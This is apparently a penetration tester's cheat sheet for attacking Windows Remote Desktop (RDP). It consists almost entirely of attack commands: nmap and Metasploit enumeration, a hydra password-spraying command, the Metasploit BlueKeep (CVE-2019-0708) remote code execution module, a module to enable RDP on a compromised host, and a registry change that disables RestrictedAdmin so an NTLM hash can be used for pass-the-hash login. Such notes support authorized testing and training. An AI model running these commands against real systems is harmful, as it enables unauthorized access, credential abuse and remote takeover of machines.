Enumeration

use auxiliary/scanner/rdp/rdp_scanner #verify if rdp is behind a port
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

# hydra Brute Force
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

EXPLOIT

BlueKeep (CVE-2019-0708)

msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Enable RDP + exploitation

#msf
use post/windows/manage/enable_rdp
xfreerdp /v:192.168.2.200 /u:Administrator /p:quertyuiop

#manually
shell> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f #clé DWORD pour accepter le hash admin au lieu du mdp

xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C